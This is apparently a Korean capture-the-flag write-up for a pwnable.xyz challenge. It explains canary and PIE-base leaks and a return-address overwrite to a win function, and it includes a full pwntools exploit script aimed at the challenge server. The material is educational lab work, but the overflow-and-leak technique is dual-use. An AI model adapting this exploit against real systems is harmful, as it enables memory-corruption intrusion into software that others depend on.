# Protection Tech
# process
Pie가 적용된 바이너리 경우 코드 영역 값이 offset 값이다.
Offset 값 이용해 할당된 메모리 영역에 동적으로 위치할 수 있다.
할당받은 메모리 영역(0x555555554000)+ main 함수 코드 offset 값(0x7c3) = main 함수 시작주소(0x00005555555547c3)
구조 : [s][canary][SFP][RET]
Payload = ‘A’*0x70 + canary(구해야 함) + ‘B’*8 + p64(pie + 0xd30)
따라서 canary leak과 pie leak으로 rtl을 진행해서 return address에 win 주소를 넣으면 된다.
1) canary leak
0x68 다음 8바이트가 canary이므로 0x68의 더미 후 문자 하나를 입력하면 cananry leak이 가능하다.
(문자를 줘도 상관없는 이유는 cananry 상위 1바이트가 null byte이기 때문)
따라서 받을 때 "\x00"을 붙이고 p.recv(7)을 한다.
'A'*0x68 + 'B' 입력 후 stack 상태이다. canary의 상위 1바이트가 'B'로 덮힌 것을 확인 할 수 있다.
'B'까지 받은 후 null byte + p.recv(7)을 하면 canary 값을 구할 수 있다.
2) pie leak
0x68의 buf 뒤 canary + sfp 뒤의 8바이트가 return address이다.
이 return address에 들어있는 값과 pie base와의 offset을 구해서 pie를 구한다.
0x1081의 offset이므로 이번에는 하위 2바이트가 null byte이므로 p.recv(6) 후 null byte 2개를 붙인다.
이때는 그냥 'A'*0x78을 주고 'A'*0x78까지 recv한 후 받아야지 leak이 잘 됐다.
* 주의해야 할 점이 me에서 주는 길이가 항상 달라서 이 길이에 따라 내가 보낼 수 있는 payload 길이도 제한된다.
따라서 me에서 주는 출력 길이가 내가 주는 payload 길이 이상일 때만 payload를 전달하는 조건을 만들어야 한다.
3) return address -> win
pie base에 win 함수의 offset인 0xd30을 더해서 win 함수 주소를 구하고, 이것을 return address에 넣는다.
payload = s(0x68) + canary(0x8) + SFP(0x8) + win
# exploit code
#!/usr/bin/python
from pwn import *
#context.log_level = 'debug'
#p = process("./challenge")
p = remote("svc.pwnable.xyz", 30027)
#gdb.attach(p)
while True:
p.recvuntil("\n")
pay = 'A'*0x68 + 'B'
p.sendafter("you > ", pay)
p.recvuntil('B')
canary = u64("\x00" + p.recv(7))
break
log.info("canary : "+hex(canary))
while True:
p.recvuntil("me > ")
me = p.recvuntil("\n")
pay = 'A'*0x77 + 'B' # s(0x68) + canary(0x8) + sfp(0x8) + ret
if len(me) >= len(pay):
p.sendafter("you > ", pay)
p.recvuntil('B')
pie = u64(p.recv(6)+ "\x00\x00") - 0x1081
break
else:
p.sendafter("you > ", 'D')
log.info("pie : "+hex(pie))
while True:
p.recvuntil("me > ")
me = p.recvuntil("\n")
pay = 'A'*0x68 + p64(canary) + p64(0) + p64(pie+0xd30)
if len(me) >= len(pay):
p.sendafter("you > ", pay)
break
else:
p.sendafter("you > ", 'D')
p.sendafter("you > ", "exit")
p.interactive()
# exploit
[pwnable.xyz] catalog (0) | 2020.03.09 |
---|---|
[pwnable.xyz] message (0) | 2020.02.28 |
[pwnable.xyz] executioner (0) | 2020.02.28 |
[pwnable.xyz] J-U-M-P (0) | 2020.02.28 |
[pwnable.xyz] strcat (0) | 2020.02.27 |